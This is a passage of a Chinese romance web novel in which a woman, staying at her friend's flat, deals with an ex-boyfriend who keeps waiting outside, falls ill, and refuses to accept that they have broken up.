她背靠在门口的墙壁上,双腿有些站不住,膝盖不断弯曲着,整个人有种蜷缩的趋势。 泪水断了线般掉出来,砸在地面上,何漆缓缓闭起眼- 第二天,李家佳起床出门上班时何漆还在房间里睡觉,她在玄关处换鞋时看到了鞋柜台面上的伞,整齐得让人舍不得再打开使用,几乎明晃晃写着“何漆用过”四个大字。 傍晚可能有雨,李家佳带上伞,在电梯里思索着他俩昨晚会是什么情况,刚出电梯厅,竟意外看到黑色卡宴还停在来访车位的地方。 她打开手机看了眼时间,完全不符合之前总结的规律,难道在车里睡死了? 抱着确认前姐夫人身安全、不影响她小区的房价、防止前姐夫上班迟到的善意,李家佳走过去敲了敲陈津的车窗。 从窗户开着的缝隙里看进去,对方没反应。 不会真出事了吧?李家佳有点心急,一下敲得比一下重,险些要找石头破窗。 好在陈津很快被这噪音吵醒,皱着眉睁开了眼。 “靠,吓死我了,还以为你想不开,差点叫救护车了。”李家佳见他没事,先用车钥匙远远地解锁了自己车的车门。 陈津缓过劲来,把车窗降到最低,揉了揉太阳穴看时间,自说自话似的:“八点了。” 李家佳被他嘶哑的嗓音吓了一跳,收回视线上下打量他一番,虽说不上哪里有变化,但看起来确实憔悴很多,便问:“你昨晚没回家?” 陈津摇了摇头,觉得身上很难受,脑中计算着要怎么规划时间才能不迟到,算来算去发现好像没办法,只能提前在工作群里通知组员。 李家佳看他心不在焉,真有点怕他这状态半路出事儿,但最终没说什么,打声招呼就回自己的车了。 何漆一觉睡到十点出头才醒,眼睛有点儿肿,浑浑噩噩地抱着电脑过了一个下午,时间过去得无知无觉。 晚饭没吃也感觉不到饿,在桌边给自己倒了杯水,刚要拿起时门口传来动静,她被惊一跳,手一抖,直接将杯子打翻。 李家佳听到声响,诧异地看过去,何漆穿着睡衣,头发有些乱,正抽了纸巾擦桌子。 收拾完,她又重新倒了小半杯水,却放在一旁没有喝,扭过头来招呼李家佳:“今天回来得还挺早。” 李家佳直觉她不太对劲,但一时说不上来,只能冲她笑笑:“对啊,我明天总算能休息了,带你出去玩!” “好啊。”何漆说,“陈津在楼下吗?” 李家佳猝不及防,心里“咯噔”一声,不知道她今天为什么毫不回避,但根据早上陈津的状态猜测,绝不是什么好的原因,只能弱弱地如实回答:“在啊……” 何漆“哦”了一声,神态恹恹,又拿起水壶往杯子里添水:“那叫物业或者保安赶一下吧。” “啊?”李家佳一愣,下意识瞪大眼。 反应过来后便打开手机联系物业,同时又觉得这做法有点让人下不来台,确认道:“但他停的来访车位平时也没什么人,不是特别影响居民,我问问物业……” “影响我。” 半满的水杯静放在手边,何漆木然答。 李家佳因她的语气抬眼,猛地被吓到,见鬼似的快步到她身边,连抽了六七张纸巾塞进她手里。 “我立马赶、现在就赶、已经通知保安了。”李家佳还怕她不信,直接把整个手机都递过去。 何漆抬手摸了把眼睛,才发觉自己竟然无知无觉地掉了泪,倍感荒唐地擦干,呢喃道:“我疯了吧。” 李家佳见她情绪还是稳定的,便安心下来继续跟物业沟通。 物业自然会优先满足业主的需求,保安去提醒陈津不要长时间将陌生车辆停在小区内,陈津好说话,当下就开着车离开了。 但据保安人员汇报,他也没开远,在小区外的公共停车位上又安家了。 何漆看完没什么反应,倒是和李家佳讨论起明天去哪玩。 李家佳眼下巴不得能让她的注意力有所转移:“白天随便,反正夜里去喝酒,我都快憋死了。” “想也是。”何漆脸上挂着淡淡的笑,“那索性你好好睡个懒觉,晚上再出门。” 正中李家佳下怀,她一把搂住何漆,欢呼:“太好了!我明天一定睡到下午,这鬼工作真要把我折磨死了!” 晚间的小雨下到九点左右才停,李家佳下楼去买奶茶,刚出小区门没几米就看到陈津的车。 他车窗半降,正坐在驾驶位上看手机,李家佳视力不错,他们之间距离又不算远,眯着眼望过去,马上看清他相册里一张张划过的全是何漆的照片。 “靠。”李家佳小声嘀咕,陈津的形象在她心里突然复杂起来,她原本以为这人看的绝对是什么工作文件呢。 静悄悄地偷窥完,李家佳正要假装什么都没看见地路过,不料陈津忽然在这时注意到她。 “李家佳。”陈津叫住她,把车窗全降下来,“方便聊两句吗。” 当然不方便! 都被人赶出来了,可见昨晚他在何漆那儿必然没讨到半点好,她跟闺蜜那不争气的前男友还有什么可聊的? 李家佳警惕地走远一步,默默摇头。 作为何漆和陈津的中间人,她确实是毫无经验,难以判断,只能给出忠告:“你以后别来了,何漆心情真的很差。” 陈津捏了捏眉心,没回这句话,反问:“你去干什么?” “买奶茶,五百米。”李家佳说。 陈津点头:“上车吧,可以送。” 李家佳很纠结,从姐妹义气来说,何漆最近的坏事儿全是由这人而起,自己不拿着包抡他就已经算遵纪守法了。 但从理性判断来讲,陈津这态度显然代表这段关系还没法结束,何漆不想见他,但如果能从她这头搞清双方究竟发生了什么,也不失为一种解决方式。 毕竟有整整七年。 李家佳咬了 咬唇,终是上了陈津的车。 和陈津单独在一辆车里,李家佳简直浑身都不自在,身上好像有虫在爬,紧靠着车门,整个头都扭向车窗。 “要聊什么,你说吧。”她语气僵硬。 陈津则一脚油门先把车开到奶茶店外,问:“何漆喝吗?” 李家佳反应了两秒,也学他的招数,不答反问:“你知道何漆喜欢喝什么吗?” 陈津看了眼奶茶店名:“芋泥牛乳芋圆。” 还真知道,李家佳腹诽,继续追问:“甜度?” “三分。” “温度?” 这个问题属实强人所难,奶茶甜度还会有特别的偏好,但温度基本都是当下决定。 陈津淡淡答:“她经期快到了。” 李家佳垂眼,看到何漆发来的消息。 「芋泥牛乳芋圆,三分甜,温。」 确实一字不差,但李家佳也不是十几岁不谙世事的小姑娘,不会因为一个男人记得自己女友的奶茶口味而感天动地,解开安全带,口吻挖苦:“什么都知道也没见你这几天给她买一杯。” 陈津搭在方向盘上的手稍稍僵了一瞬,朝窗外观望片刻,在李家佳拿奶茶的间隙也下了车。 李家佳拎着两杯热奶茶回来时,副驾上已经放着两个袋子,一个印着旁边烘焙店的logo,里头的甜品正散发着阵阵香甜的气味,一个则是超市的购物袋,李家佳打开看了一眼,发现是各种长度的卫生巾。 “麻烦你带回去。”陈津说。 李家佳不知该做何反应,好像回到了大学时代,跟自己在英国合租的室友被追求的那段时间,总有人拎着大包小包的东西要她转交。 “你不要以为这些东西可以让何漆原谅你。”李家佳警告,“又不是学生了。” “我没有这样以为。”陈津把车平稳地开回小区门口,沉闷地叹了声气,对李家佳坦白,“我……和她是第一次吵架,不知道怎么做才能缓和,所以想找你帮忙。” 帮忙?当和事佬?那也要看他这人还值不值得帮。 李家佳不客气地问:“戒指是怎么回事?” 任凭陈津这些天如何悔恨,那日的事总是绕不开的,他闭了闭眼:“不管怎么解释,这件事都是我冲动犯的错,但我没想过要逼何漆做她不喜欢的事。” 李家佳冷笑一声:“那她现在要是不喜欢和你在一起了呢?” 陈津闻言一愣,光是想象这种可能眉头都下意识拧在了一起,冷硬道:“这件事除外。” 呵呵。果然都是嘴上说得好听。 李家佳摇了摇头,心里有数,一手拎着三个袋子,一手去开车门。 陈津最后一次叫住她,犹豫地问:“所以你觉得,要怎么做她才会原谅我?” 这一路,从前在天上挂着的姐夫也到地下来求自己了,李家佳整个人有点飘飘然,摆架子似的耸了耸肩:“不清楚。” 她下车,转身正要走,想了想,还是对车窗里的陈津说:“你俩的感情我确实参与得不多,但何漆这个人我们都了解,不牢牢抓握住的话很容易就从生命里溜走了。” “如果你的挽回方式还是天天在这儿抽烟,那么恭喜你,不出一个月就会变成她人生里轻拿轻放的过客了。” “哦对了,还有。”李家佳一个急刹车,指点江山般挥舞了两下食指,“明天晚上我要带她出去喝酒,你别来蹲了,等不到。” 说完也没看陈津的脸色,潇潇洒洒回家去了。 何漆在客厅抱着电脑,听见门口传来李家佳的脚步声,还哼着歌,仿佛心情很好。 “家里还有没有速食的食物?”何漆从沙发上起来,想着煮个泡面什么的,再配上奶茶,填补一下饿了一晚上的肚子。 然而一抬眼,竟看到了李家佳放在茶几上的烘焙纸袋,她惊喜道:“这儿也新开了这家甜品店?它的布朗尼和酥皮挞超好吃……” 何漆话到最后渐渐弱了下去,因为看到了袋子里恰好装着她所说的两种甜品,并且她喜欢的口味都有。 她眸色变了变,又看向一旁的超市购物袋。 家里的卫生巾还有囤货,李家佳没理由再去买,况且她俩也没有心细到能记得彼此经期的地步。 何漆心底隐隐有答案。 李家佳站在一旁观察她的脸色,战战兢兢,大气不敢出,生怕她以为自己被收买了。 好在何漆没什么大反应,只默默把甜品全摆出来,接着直接盘腿坐到地毯上,对李家佳说:“愣着干嘛,过来吃呗。” 李家佳松了口气,觉得这关过了,连“喔”两声,紧挨着她坐下,拿了个酥皮挞塞到嘴里,看微信里新收到的消息。 “这李乐一,烦死了,知道我放假就说想过来找我玩。”李家佳把手机摔到桌上,“我看就是月底没钱了,让我请吃饭。” 何漆扫了眼聊天记录,果然,下一条就是李乐一要她报销来回的车费。 “那不是挺好,反正明天你要出去喝酒。”何漆笑着眨了眨眼,音量很轻,手里的叉子却心不在焉地戳着布朗尼。 “那我们的二人世界又泡汤了。”李家佳把脑袋搁在她的肩上。 何漆耸肩顶顶她的脑袋:“我们现在天天都是二人世界吧?况且喝酒本来就人多热闹,你喝醉沉得要死,我一个人也拖不回来。” 李家佳皱着鼻子朝她“哼”了一声:“好吧好吧,他这个狗腿,估计还会叫方翊来。” 何漆淡笑不说话,也不知道有没有听进去,甜品盒角落里的一小片布朗尼已经被她戳得不成形—— 作者有话说:李家佳:……感觉年轻了十岁 感谢小天使们的霸王票和营养液[三花猫头] 第22章 李家佳好不容易休个假,报复性地在家睡懒觉。 何漆也没吵她,起床给自己做了顿中饭,下午又收到回声出版社的邮件,上次投的稿子一篇过了初审,一篇被打了回来。 她渐渐习惯了这种盼着稿件过日子的生活,心情没什么大起伏,把前两天抽空整理的其他出版社的邮箱都找出来,没过审的文章暂且不改,原模原样地投递到下一个出版社。 正所谓鸡蛋不能放在同一个篮子里。 她文档里还有几篇差个结尾的新文章,趁着时间空闲一点点补写完。 李家佳这一觉睡得属实算狠,下午三点前才悠悠转醒,何漆刚投完稿,放下电脑看她迷迷糊糊的样子,笑问:“饿吗?” “不饿。”李家佳摇了摇脑袋,险些没站稳,伸手扶住墙,“再等一两个小时,我收拾完,然后我们去北巷小酒馆,那里的面好吃。” 何漆答应:“好啊。” 饭点前,两人各自回房换衣服,何漆动作快些,坐在客厅里等。 李家佳出来时好像在和人通话,手里拿着条围巾递给何漆,对着手机那头骂骂咧咧:“北巷小酒馆,自己导航,鬼才来接你们,我不开车,再瞎嚷嚷就跟你妈告状!” 何漆听出来她是在跟李乐一斗嘴,无奈地笑了笑,出门后打开手机:“那我先打车吧。” 李家佳一把按下她,颇有经验:“出了小区门再打,不然司机来得太快,一个劲地催。” 何漆点点头,挽着她下楼。 不料等到了小区门口,比网约车先出现的却是陈津。 何漆用余光敏锐地捕捉到那身影,身子一僵,果断付款打车,心想这人最近未免闲得出奇,周末不在家办公,晚上不在公司通宵,天天跑这儿来讨人嫌。 被嫌弃的陈津在她面前站定,垂眼问:“去哪?我送你。” 何漆低头看手机不回话,李家佳站在一旁,视线来回移转,也不敢贸然开口。 气氛一时陷入尴尬,陈津却仿佛浑然不觉般,站在原处定定地看着何漆。 好在李家佳没说错,这儿打车确实方便,没几秒时间就显示司机已到达指定地点,何漆将手机熄屏,目不斜视地拉着李家佳绕开陈津:“车到了,走吧。” 李家佳被拽着往前走,没胆子回头,只能把何漆的手握紧些。 两人上了网约车 的后座,何漆冷着张脸不说话,往后视镜里看了一眼,才发现黑色卡宴正不远不近地跟车,脸顿时更黑了。 车上播放的劲爆dj音乐吵得人心神不宁,司机还在跑调地跟唱。 李家佳靠着车窗望天,有点儿心虚,毕竟她们今天要去喝酒的消息是她放出来的,也不知道昨天给的那番建议到底是好是坏。 她欲哭无泪,只觉得这两人再这么别扭下去,连自己也得恐恋恐婚了。 车子缓缓上了高架,这个点正是下班高峰,路上堵得水泄不通,她们要去的小酒馆位置又偏僻,耗费了近一个小时才到达目的地。 两人下车时,卡宴也在酒馆门口找了个位置停下,但驾驶座的人似乎没有要下来的意思。 何漆只不经意地扫了一眼,很快又收回视线,跟着李家佳进店。 “表姐!”李乐一比她们提早几分钟到酒馆,在吧台瞥见了两人身影,亲热地扑上来。 李家佳伸出根手指进行警告:“少跟我来这套,我的面点了没?” “点了点了!”李乐一点头如捣蒜,狗腿地领两人去他们的座位,“给你和漆漆姐都点了!” 方翊原本靠着座椅在玩手机,听到动静才抬起眼,屏幕的光亮映照他的半张脸,茫然的双眼也因看到何漆而染上晶莹的笑意。 “姐姐。”他直白地与何漆对视,喊人的嗓音又轻又柔。 何漆点头,顺势垂眼看向桌上,两碗招牌的牛肉面,一些小食,一打啤酒,两排shot,还有杯已经喝了大半的特调。 李家佳快饿疯了,一屁股坐下,将长发全部捋到身后,完全不顾形象地大口嗦面,把小酒馆吃成路边大排档。 散台离驻唱的舞台挺近,一张桌四个位,何漆挨着李家佳,不可避免地坐到了方翊的对面。 李乐一这时悠悠地端着两杯酒回来,一杯推给李家佳,一杯给何漆,满面红润,乐呵呵道:“姐,这儿的调酒师说话也太有意思了。” 李家佳无语地瞄了他一眼,不理会,继续低头吃面。 何漆摘下脖子上的围巾盖在腿上,不是太饿,便拿过手边的酒,环顾一圈周围,慢慢喝了几口。 李乐一性格闹腾,有他在气氛就不会冷,说了好几个酒桌游戏要跟他们一起玩,何漆和方翊自然没意见,李家佳虽然嫌弃,但也配合。 台上的驻唱抱着吉他,嗓音沙哑很有磁性,不断有人捧场点歌。 音乐和笑谈声在耳边模糊成一片,何漆明显心不在焉,游戏时连连出错,已经罚了好几杯酒。 “漆漆姐又是你!”李乐一彻底玩嗨了,指着一脸懵的何漆大笑,“姐,你是游戏黑洞吧!” 他的大嗓门将何漆笑回了神,她低头看了眼自己手上比的数字,无奈地摇了摇头。 何漆自觉伸手要去拿龙舌兰shot时,酒馆的音响里正放完一段流水般轻盈的间奏,驻唱接着把麦克风放到嘴边。 是莫文蔚的歌曲《阴天》中十分耳熟能详的一段,因为传唱度高,酒馆里的许多人都在跟唱,连一旁的李乐一都陶醉地轻哼着歌词。 “回想那一天,喧闹的喜宴。” “耳边响起的究竟是序曲或完结篇?” “感情不就是你情我愿,最好爱恨扯平两不相欠。” 何漆的思绪莫名荡了一瞬,手掌短暂地停在半空中。 方翊注意到她的失神,自然地用指尖点了一下何漆的手背,轻声询问:“姐姐?” 李乐一还完全沉浸在自己的歌声里,配合歌词带上过剩的情绪,唱得倒也不错。 “感情说穿了,一人挣脱的,一人去捡。” “男人大可不必百口莫辩,女人实在无须楚楚可怜。” 手背上传来蜻蜓点水的触感,何漆下意识把手握成了拳,反应了两秒,迅速拿了杯酒,仰头送进口中。 一口咽下,没有配盐和青柠,随着液体流过,喉间霎时传来极其辛辣的烧灼感。 她五官拧成一片,忽然站起身,椅子被迫往后拖了一点。 其余三人皆疑惑地抬头看她,何漆把围巾放在椅面上,目光落在虚点,没有看任何人:“我出去一下,透个气。” 说完,她转身大步往外走。 龙舌兰的火一路从喉间烧到胃里,何漆觉得身体里的氧气都快被烧没了,直到出了酒馆,冷风往她脸上扑过来的那一刻,她才有种得以喘息的感受—— 外头的天已经彻底黑了,街边的商铺和路灯一同将夜色照亮。 陈津正站在五米开外的一盏路灯下抽烟。 这是何漆第一次亲眼看见陈津抽烟的样子。 右手自然地垂落身侧,食指和中指微微蜷曲,夹着烟,就好像捏着一颗扑朔的火星。 上下两瓣嘴唇启一条缝,烟雾从那里捆着他的气息飞出来,似乎一并带走了他身体里的什么东西。 然而看到何漆的第一秒,那些东西就停止离开了。 陈津闭上唇,右手摁灭了烟头,扔进一旁的垃圾桶,大步流星地走完了五米的距离。 兴许是烈酒的作用,何漆的思维变得稍稍迟钝,她看着朝自己走来的陈津,没想着应该避开还是和他说些什么。 她仅仅在想,陈津是最近才开始抽烟的吗?还是很早就会了,只是从没有在她面前抽过?如果是早就会抽,又是什么时候学会的,大学?工作后?或是认识她以前? 这些疑问溶在酒精里,在她胃中沉沉地盘旋,不会轻易从嘴巴里吐出来。 何漆不确定自己算不算喝醉,她的头脑很清醒,但动作却生锈,目光不再灵敏,落在陈津身上,被察觉也没有转移。 一动不动地端详着面前男人的神色,她又无端联想起一些很久远的理论知识,不知是哪位任课老师的声音在念:酒精会对人体的中枢神经产生抑制作用,影响大脑皮层和延髓功能,导致兴奋或抑制状态…… 再多的也记不得了,何漆判断自己眼下正处于抑制状态,有点懒惰,依赖习惯。 眼皮缓而沉地眨过一次,酒精作用得愈发猖狂,她问陈津:“你怎么了?” 先前在小区门口,何漆连一眼都没看他,此刻有心情观察,才发觉这人的脸色憔悴得很不正常。 陈津眼底布着淡淡的血丝,好不容易能跟何漆说上话,第一反应不是回答,而是道:“喝醉了吗?我送你回去。” 冷风吹过,何漆将下巴往衣领里缩了缩,一个拒绝的动作。 她扭头往酒馆里看一眼,在考虑要不要回去,手腕却忽然被牵住,陈津的声音又低又哑,回答她先前的问题:“不舒服。” 他凑到何漆面前,距离很近。 明明衣服是沁满寒意的,却又有股异常的人体热气一同扑来,何漆下意识抬手探他的额头,烫的。 “发烧了。”何漆皱眉,“你去医院吧。” 李家佳好久等不到何漆回来,有些担心地想出来看看,刚站到酒馆门口,就冷不丁看见这副景象,两人挨得极近在说些什么,何漆还摸上了陈津的额头。 她吓得一个脚刹,刚要假装什么都没看见地往回走,身旁却有另一个人直接冲了出去,她甚至都来不及拦。 “姐姐。”方翊不远不近地站定,面上波澜不惊地盯着何漆的背影,眼神很冷,右手紧紧抓着一条围巾。 何漆闻声收回手,回身看见带笑的方翊,他走近,顶着好几道视线将围巾递过来:“外面风大,站久了会感冒。” 在何漆反应过来之前,身后的一双手从她腰侧伸出,自作主张地把围巾拿走。 陈津顺着动作靠何漆更近,上半身几乎压在何漆的后背,垂眼看手上的围巾,觉得不太眼熟,问:“是你的吗?” “李家佳的。”何漆又下意识回 。 语毕,她心中一惊,这种习惯性的熟稔像是给了她当头一棒。 何漆抬眼,看到同样表情僵硬的方翊,唯有身后的陈津还算怡然自得。 在门口看了半天戏的李家佳终于觉察出气氛不对,一下跳了出来,轻咳两声吸引注意:“那什么,我也出来透透气,里面是挺闷的哈……” 话落,空气诡异地沉默了三秒,李家佳绝望地朝何漆投去求助的眼神。 何漆刚张了张嘴,陈津的声音就又在耳边抱怨似的响起:“难受。” 高于体温的滚烫气息喷洒在何漆的耳廓上,她浑身一个激灵,转身后退开一步看陈津,对他的行为感到怪异。 烧坏脑子了吧。 “生病了就自己去医院。”何漆警告他。 陈津眼中霎时流露出一种赌气又委屈的神色,硬邦邦地回:“不去。” 莫名其妙。 何漆看他真是有病,被这一声反驳激得上头,状态从抑制转换到兴奋只需要一瞬间,恶狠狠地瞪回去一眼:“不去就不去,谁管你。” 一旁原本出来缓和气氛的李家佳顿时有点懵。他们在干嘛,小学生吵架吗,陈津怎么会那样,何漆又为什么这样? 她在风中有点凌乱,百思不得其解,默默将目光投向方翊,发现这人脸色十分难看。 “我可以开车。”方翊却在这种难看的脸色中开口,当何漆看过去时,他又勉强露出笑脸,“我陪着去医院吧。” 李家佳满脸震惊,嘴角都情不自禁地抽动两下,腹诽这是什么剧情,虽然不知道合不合适,但还是跟着开口:“我去也行,或者让李乐一去。” 胡闹些什么。 何漆简直一个头两个大,看到陈津眼神里明晃晃写着“不去”两字的倔强样,更是生起一股无名火。 当自己叛逆期小孩吗,生病去医院还要人八抬大轿地请着哄着。 然而陈津的两颊此刻隐隐烧红了,冷风一吹,他又将脸扭到一旁轻咳了两声。 一副真的很病弱的模样。 胃里和心上一起烧着,微弱的咳嗽声仿佛会传染,化作片羽毛,在何漆喉间不经意挠过,微不足道,却又激起阵阵难以忽视的痒。 这人还要带病在外面站多久? 何漆最终闭了闭眼作出决定:“我去吧。” 她说着又看向李家佳:“我晚点再回来。” 李家佳愣愣地点头,欲言又止了两回,目光从何漆转到陈津脸上,再从陈津转到何漆,只好委婉道:“那你有事给我打电话。” 何漆应下,眼神敛起,缓缓对上身旁的方翊,面对这个固执地要给她送围巾的男孩,一时不知该表露什么情绪。 她将唇抿成一条线,选择把他的话还回去,轻声道:“回去吧,外面风大。” 方翊的神情肉眼可见地低落下来,目光了无兴致地垂着,似乎还有什么话要说。 然而。 “姐,你们干嘛呢?”端着碗牛肉面出现在门口的李乐一直接打断了这场景,他一边用滴溜溜的眼睛巡视着,一边嗦热汤,口齿含混不清,“我看你半天没回来,这第二碗面我就先吃了。” 说完,他才注意到何漆身后多了个不认识的男人,好奇地打量起来。 高、帅、气质好,看样子就不像没钱的,和漆姐似乎关系不一般。 李乐一心里有猜测,但碍于和何漆没有熟到那地步,只能谨慎地问:“这位帅哥是谁啊?” 好问题。 在场除了何漆没人敢答的好问题。 所有人都不约而同地把视线投过来,何漆心虚地清了清嗓,避重就轻:“一个生病的人。” 不等李乐一再次疑问,她又紧接着赶三人回去:“你们这样都出来,老板还以为我们逃单了。” 李乐一没看懂眼色,贼心不死,偷摸着凑到李家佳和方翊中间,用气声问:“那人谁啊?是不是漆漆姐男朋友?” 他左看方翊,方翊臭着张脸,装高冷不理人。 他右看李家佳,李家佳给他后脑勺一巴掌:“都说了生病的人,你耳朵聋?还有谁允许你吃我的面了?” 李乐一得不到答案,内心更加好奇,抓心挠肝地回头望去一眼,而何漆已经跟那个神秘男人走远了。 第23章 酒馆位置偏远,距离最近的医院也有十几公里,何漆坐在副驾上,右手手肘靠着车窗,指尖虚支着脑袋。 暖气烘得人神经发涨,音乐声很轻,何漆在这种催人昏昏欲睡的氛围中安定下来,随之便是懊悔涌上心头。 今夜的心软来得太没有道理,天色一暗,他一卖惨,竟然就这么轻易地着了道。 何漆把头扭向车窗,连余光里都不想看到陈津的身影,对自己的冲动感到不争气的恼怒,食指的指甲从下牙磨过,却又无可奈何。 高架上,总不能跳车。 所幸陈津也处于非正常状态,握着方向盘平稳行驶已经耗费了他眼下的全部注意力,实在分不出心神和何漆说话。 两人便这么一路沉默地到达了医院。 测量体温、挂号、面诊、验血,何漆忙前忙后地在医院里来回跑,去药房里取完药又带着陈津到输液区挂水。 他的体温一路上涨,人也烧得有些迷糊,但凡坐到椅子上就不愿意动弹,必要转移地点时便和何漆挨得很近,像是连站立的力气都没有,拖着何漆一寸一寸慢慢挪动。 好不容易捱到输液区,护士往陈津手背上扎一针,何漆帮忙把吊瓶安置妥当,又拆了瓶刚去药房配的口服液给他:“喝掉吧,医生说早晚一瓶。” 陈津拿过已经插上吸管的口服液,但没接何漆一同递来的药袋。 何漆无语地往天花板上看一眼,直接把药袋扔到他脚边,在陈津旁边的一个位子上坐下。 鼻腔里全是消毒水的气味,先前的几杯高度酒似乎在发挥后劲,何漆晕晕乎乎闭上眼,竟很快睡了过去。 只是一直睡不安稳,半小时左右就会惊醒一次,不知何时盖到腿上的围巾因她的动作滑落。 何漆伸手把叠得工整的围巾捡起,探身查看陈津的盐水还剩多少。 陈津自己也闭着眼,看呼吸是睡着了,旁边有医护人员在巡查,倒是不用担心吊瓶打空。 反复惊醒了三次,何漆头有点痛,放在口袋里的手机正好响铃,她拿出来看了眼,是李家佳打来的电话。 “喂。”何漆接起,把手机放在耳边,因为刚睡醒嗓子哑,差点没发出声音。 那头有风声,李家佳似乎已经离开了酒馆,醉醺醺地问:“怎么样啊你那边?” 何漆抬头确认进度:“还有小半瓶盐水,应该再半小时吧,你们回家了吗?” “嗯,我打车回家了。”李家佳向司机报了自己的手机尾号,继续对何漆道,“那你要是回来的话自己进家门就行,太晚我睡着了,不给你开门。” 何漆说“好”,又叫她注意安全,记得把网约车的车牌号发给自己。 她打电话的声音很轻,没有把陈津吵醒,脖子有点僵,小幅度地活动了一会儿。 目光从那个面色憔悴的男人脸上略过,发现他两颊的泛红已经退下,体温估计也恢复正常。 起码还有半个小时要等,何漆抹了把脸,冰冷的手掌让她的精神清爽些,找了本看到一半的儿童文学作品接着阅读起来。 正看得入神,有名护士过来拔掉了陈津手上的针头,原来吊瓶已经空了。 何漆关掉手机,站起身道谢,一手按住陈津的输液贴,一手拍他的手臂:“起来吧,走了。” 陈津从睡梦中苏醒,睁眼看到何漆俯下身后近在咫尺的脸,感受到她微凉的指腹按在自己的手背上为他止血。 一瞬间竟失魂落魄地坐直身体,毫无预兆地想要贴过去。 何漆愣了一息,在两人距离清零前反应过来,连连退开两步,瞪大眼看他,却什么话都说不出口。 在她震惊的目光中,陈津呼吸渐重,手紧紧握拳,输液贴中心的无菌棉片上出现了一个鲜红的点,是针眼处在出血。 “止、止血。”何漆提醒他。 陈津却依旧不为所动,何漆目光有些打飘,好半晌才缓缓回过神。 “你自己按着止血吧,我先走了。”说完她便捞起围巾,干脆地转身要离开。 陈津到这时才一骨碌起身,拎上脚边的药袋,快步跟在她身后:“一起回去。” “不用。”何漆觉得自己从没有走得这么快过,两条腿快要抡出火星,心脏砰砰跳个不停,“你回家吧,一个人开车不安全就叫代驾……” 说话间已经到了医院门口,何漆按耐住心中的慌乱,拿出手机来打车,陈津不死心地握住她的手腕不让她动弹:“我送你去李家佳那儿。” 何漆懒得废话,直接甩开他的手。 不料下一秒,陈津忽然在她身边蹲了下去,药袋碰在地面上发出声响。 何漆以为他腹痛,又或是别的什么症状,不得不先放下手机,诧异又不安地垂眼问:“怎么了?” 陈津不说话,倏地伸手,连带何漆的裤腿一起,握住了她的脚踝上端。 眼下已经是后半夜,医院里人不多,但仍有些急诊病人和家属在门口来往。何漆感到小腿上的抓握时先是一愣,随即难以置信地气笑一声。 “你在干什么?”何漆低着头,眉头紧紧拧在一起,完全不理解陈津的行为,“医生给你挂的生理盐水还是降智药?” 面对何漆难得一见的嘲讽,陈津面不改色,一手紧紧抓着她的小腿,一手横在膝盖上,仰头看她,固执地重复:“我送你。” 神经病。 黑着一张脸坐在副驾上,何漆想绝对不能再这样了。 这算什么?靠撒泼打滚就能在她这儿为所欲为了吗?像什么话。 她心里有气,陈津退烧后又精神起来,好几次想要和她聊天,都被何漆回以无视。 陈津见状也不再坚持,半道看见家二十四小时营业的便利店,靠边停车,进去不知买了些什么,回来时拎着一大袋东西。 “里面有两瓶热牛奶,喝点解酒。”陈津上车后先把袋子递给何漆,手里还拿着杯关东煮,放到中控台的地方,问她,“还有别的想吃的吗?” 何漆低头翻看袋子里面,有很多零嘴面包,最上面有好几种口味的冰皮月饼,是她很爱吃的甜食,但她却什么都没碰,只拿了瓶牛奶。 她拧开盖子抿了几口,胃里总算舒服一点,把袋子系上结放在脚边,依旧沉默不语。 车子一路开到李家佳小区楼下,刚在地上车位停稳,何漆便解开安全带,手指已经摸上门把手,动作却忽然停顿。 她垂着眼想了想,转而伸手关闭车载音乐,语气冰冷地出声:“陈津,到此为止吧。” 陈津握在方向盘上的手骤然收紧,用力咬着牙,没有吭声。 何漆的声音平稳,在这沉静的环境中并不突兀:“死缠烂打还是伤病可怜,以后都不会奏效了。” “我那天走得突然,后来不想面对你,所以一直好像不清不楚。” “但我现在明确告诉你,我决定跟你分手。” “你知道的,决定好了的事情,我都会做到。” 决定要考上江大就不留余力地念书,决定不婚哪怕头破血流也要跟家里讲清楚,决定辞职就果断离开,决定写童书也算一点点步入正轨。 在何漆自己的小世界里,她的决心从来是无往不利的东西。 而眼下,她决定和陈津分手,也做好了往后不再见面的准备。 “家里面我的东西你扔掉或者寄过来,银行卡的密码不放心就改掉……” 她想到什么,停顿了半秒,继续道:“还有房产证,我随时可以跟你去登记中心去掉我的名字,反正不是我花钱买的。” 这便是上一回雨夜里,她想要清算时没说出口的话。 真是麻烦,谈了近八年的恋爱,分手跟离婚一样,还要理清财产。 何漆一口气全部说完,坐在原处,一边等陈津的回答,一边思索还有没有落下的事儿。 好半天没等到陈津开口,她就当他默认,拉动门把手下车,绕着车头要往单元楼里走,却不料一直默不作声的陈津也下了车,一把拽住她的小臂,拉住了没能走远的何漆。 何漆心里很烦躁,举起被他拽住的手臂,像是展示罪证般朝他晃了晃,语气变得不耐:“还有什么话你现在全说出来!讲清楚!我不想再纠缠了。” “做不到。”陈津说。 “什么做不到?” 何漆想甩开他的手,然而陈津直接把她拉了回来,抵在车门上,将她完全禁锢在身前。 “你刚刚说的那些,全都做不到。” 何漆看着他凌厉的眼神,毫不退怯:“放开我,不然我叫保安了。” “那你别走。” 何漆没有跟他谈条件,用绝情的神色逼视他。 陈津脖子上有青筋凸起,却还是渐渐松开了手,但没有退开,何漆仍站在他和车子的中间地带。 “不分手。”陈津软了语气,“我说过,别的什么你想要我都会给你,除了分手。” 何漆伸手狠狠推了他的肩膀:“那我要你回家去过自己的生活!别每天在这里蹲着看我的一举一动,别在这里干扰我!” “那样我连睡都睡不着。”陈津抓住何漆推他的手掌,将自己的五指一根根塞进她的指缝间,与她强行十指紧扣,目眦欲裂,“我不知道你会去哪里,不知道你跟谁在一起,只有守在这里,明确地清楚你在离我不远的地方,我才能心安!” 不知道哪句话挑动了何漆某根敏感的神经,她挣脱陈津手掌的动作突然停了下来,冷笑一声,荒谬地看着他:“说什么呢?开玩笑吗?我不在家连觉都睡不着?在公司通宵也不知道说一声的人难道不是你?” 很多事情积怨已久,但依照何漆的性格,要她主动诉说的难度不亚于登天,只有被逼到一定地步,才能将其当作反击似的吐露。 人总是趋利避害的,当一句话说出来大概率会变成刀子伤害自己的尊严时,就懂得三缄其口,但如果这把刀子调转方向向外捅,能捅破别人武装的铠甲时,便轻易地从嘴里溜走了。 何漆原以为这句话能让陈津打脸,最起码也该为自己的大言不惭露出点心虚的神色。 谁曾想,陈津居然同样疑惑不解地反问:“你忘记了?” 何漆怔然:“忘记什么?” “前年,我刚升职,准备评职称的那段时间。”陈津死死盯着她,得到的却还是何漆迷茫的表情,他被那种无辜短暂地哽住,只能接着说,“你那时候工作压力也很大,有睡眠障碍,我又经常加班到十二点之后才回家。” 